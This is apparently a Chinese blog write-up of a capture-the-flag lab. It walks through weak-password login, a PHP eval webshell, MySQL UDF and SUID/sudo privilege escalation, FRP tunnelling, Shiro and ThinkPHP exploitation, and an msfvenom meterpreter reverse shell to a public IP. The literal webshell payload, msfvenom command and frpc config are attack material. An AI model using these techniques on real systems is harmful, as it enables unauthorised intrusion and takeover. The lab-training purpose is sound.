前言
⏰时间:2023.7.9
⚠️文中涉及操作均在靶机模拟环境中完成,切勿未经授权用于真实环境。
🙏本人水平有限,如有错误望指正,感谢您的查阅!
🎉欢迎关注🔍点赞👍收藏⭐️留言📝
看源码
拿到地址进入页面
先看源码,拿到第一个flag
扫目录
弱密码
访问/admin.html
试试弱密码
成功进入后台
网站配置下的基本设置中发现flag
写入webshell
在php教程中的运行预览页可运行代码
点击运行发现生成php文件
将其修改为一句话
但是怎么都访问不到这个php文件,可能是生成一下后自动就删除了
那就用这个file_put_contents(‘haha.php’,‘<?php @eval($_REQUEST[cmd]);?>’);
home/ctf/flag,看到提示database
连接数据库
找到数据库配置文件
直接在蚁剑连接数据库,这里要填127.0.0.1,不能写localhost
拿到flag,提示nc 还有root
UDF提权
可能root目录下还有flag,需要提权,mysql是64位
使用sqlmap里的cloak.py编译lib_mysqludf_sys.so_
将编译好的文件通过蚁剑上传
数据库中执行
查看plugin位置
然后将1.txt中的内容添加到select 0x后面 ,在跟上into dumpfile ‘/usr/lib/x86_64-linux-gnu/mariadb18/plugin/mysys.so’;
root权限
root下有flag
提示8080
查看hosts以及/proc/net/arp,发现内网存在192.168.0.1 和192.168.0.2,这两个地址一般是网关之类的,可能需要访问127.0.0.1的8080,frp内网穿透一下
FRP内网穿透
将frpc和frpc.ini通过蚁剑上传
Proxifier代理
使用proxifier代理,ip是你的公网ip,port是frpc.ini中的remote_port
Shiro反序列化
本地访问 192.168.0.1:8080发现可以访问到一个登录界面
输入root root一直在转圈,看了下抓到的包,发现返回包中有rememberme=deleteme
可能存在shiro反序列化
利用工具测试
进入命令执行,先看下对方是什么shell
测下可以通外网
执行反弹shell
找flag,home下和root下各一个
grep “flag” *全盘搜一下flag字段,发现/BOOT-INF/classes/templates/robots.html里面也有
或者http://192.168.0.1:8080/robots.txt也是这个flag
SUID提权
root下需要提权,这看下最简单的提权方式suid,发现可以
提示内网,看下 /etc/hosts和/proc/net/arp
用kscan扫一下,发现192.168.0.4的80存在网站,3306mysql
thinkphp漏洞利用
扫目录发现存在/admin,是个登录页面,不存在弱密码
访问admin.php报错,可以看到存在thinkphp框架,版本是5.0.20
利用工具探测一波,发现数据库信息泄露
连接拿到flag
getshell
找漏洞
查看版本
sudo 版本1.8.31,搜了一下确实存在漏洞
反弹shell到msf
kali中搜到了相关模块,把shell弹到kali的msf中
msf映射到公网
kali中配置frpc.ini
[common]
tls_enable = true
server_addr = x.x.x.x
server_port = 7000
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 4444
remote_port = 5555
启动后msfvenom生成反弹elf文件
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=公网ip lport=5555 -f elf > hh.elf
msf 设置监听
蚁剑传到目标chmod 777 后执行
msf收到反弹shell
bg放到后台
使用刚才找到的模块,set session 1 ,但是没成功
提权exp
于是又从网上下了个exp
传到目标
蚁剑无法提权,还是得在反弹的shell中执行
结束
这个靶机总体难度适中,涉及的点比较多,很经典,还是很值得像我这样的菜鸟去打的。最后感谢您的查阅,如有错误望指出。